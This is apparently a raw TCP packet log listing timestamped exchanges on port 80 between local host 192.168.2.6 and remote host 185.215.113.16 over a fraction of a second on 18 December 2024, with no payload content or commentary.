Dec 18, 2024 12:00:23.977283001 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.977338076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.978281975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.978331089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.979096889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.979149103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.979434967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.979445934 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.979490995 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.980578899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.980627060 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.981122971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.981172085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.981805086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.981848955 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.982326984 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.982377052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.982948065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.982997894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.983062029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.983120918 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.984095097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.984358072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.984400988 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.985308886 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.985359907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.985531092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.985579967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.986543894 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.986598969 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.987243891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.987309933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.987723112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.987734079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.987772942 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.987807035 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.988782883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.988893032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.988950014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.989939928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.989994049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.990037918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.990081072 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.991106033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.991154909 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.992292881 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.992305040 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.992352009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.992367983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.992412090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.993439913 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.993499994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.993688107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.993741989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.994585991 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.994642019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.995066881 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.995125055 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.995732069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.996201992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.996252060 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.996928930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.996979952 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.998157024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.998195887 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.998209953 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.998230934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.998265982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.998265982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.999248028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.999298096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.000238895 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.000484943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.000500917 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.000534058 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.000569105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.001600981 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.002917051 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.002932072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.002942085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.002969980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.003004074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.004021883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.004172087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.005121946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.005134106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.005187988 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.005223036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.005285025 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.006263018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.006320953 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.006462097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.006511927 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.007435083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.007446051 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.007497072 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.137310028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.137430906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.137563944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.137619972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.137857914 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.137953043 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.138195038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.138247967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.139008999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.139075041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.139098883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.139152050 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.140111923 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.140187979 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.140193939 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.140244961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.141269922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.141336918 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.141918898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.141985893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.142345905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.142359018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.142416000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.142451048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.143388033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.143445969 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.143536091 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.143587112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.144480944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.144540071 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.144619942 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.144675016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.145598888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.145612955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.145678997 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.146684885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.146810055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.146838903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.146874905 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.147763014 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.147813082 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.148618937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.148691893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.148907900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.148920059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.148976088 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.150074005 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.150125027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.150567055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.150624037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.151102066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.151307106 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.151567936 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.151619911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.152276993 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.152475119 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.152532101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.153251886 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.153626919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.153681040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.154357910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.154412031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.154717922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.154968023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.155477047 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.155527115 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.155556917 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.155605078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.156862974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.156984091 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.157035112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.157732964 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.157783985 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.158021927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.158071995 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.158744097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.158755064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.158788919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.158824921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.159832001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.159883022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.160240889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.160291910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.160903931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.161395073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.161453009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.162003040 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.162152052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.162971973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.163031101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.163153887 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.163166046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.163204908 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.163237095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.164220095 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.164429903 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.164486885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.165316105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.165415049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.165472031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.166378975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.166449070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.166631937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.166695118 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.167474031 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.167546034 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.167673111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.167803049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.168760061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.168809891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.169203997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.169296026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.169764996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.169826031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.169958115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.170020103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.170838118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.170929909 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.171071053 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.171192884 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.171886921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.172003984 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.173016071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.173027992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.173069000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.173070908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.173114061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.173314095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.174119949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.174179077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.174412966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.174468994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.175410986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.175482988 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.175529003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.175580025 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.176341057 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.176403046 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.176497936 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.176552057 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.177376986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.177614927 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.177731037 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.177779913 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.178436995 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.178483963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.178982973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.179092884 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.179539919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.179595947 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.180454969 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.180504084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.180664062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.180684090 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.180720091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.180756092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.181782007 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.181833029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.181962967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.182678938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.182898998 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.182909966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.182955027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.183949947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.184001923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.185106993 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.185118914 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.185159922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.185162067 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.185199022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.186146975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.186198950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.186537027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.186588049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.187237978 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.187287092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.187557936 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.187606096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.188347101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.188395977 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.188576937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.188622952 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.189419985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.189594030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.189646959 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.190584898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.190635920 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.190658092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.190706015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.191663027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.192063093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.192142010 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.192837000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.192917109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.192966938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.193839073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.193850994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.193888903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.193923950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.194817066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.194873095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.328413963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.328535080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.328622103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.328808069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.328835011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.328881025 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.328908920 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.329879999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.330301046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.330352068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.331047058 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.331100941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.331125021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.331167936 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.332252979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.332398891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.332447052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.333270073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.333319902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.333534956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.333583117 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.334347963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.334392071 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.334408045 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.334445000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.335340023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.335980892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.336030960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.336451054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.336496115 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.336671114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.336713076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.337519884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.337567091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.337691069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.338593006 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.338646889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.338829994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.338903904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.339719057 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.339814901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.339874983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.340773106 CET	80	49950	185.215.113.16	192.168.2.6
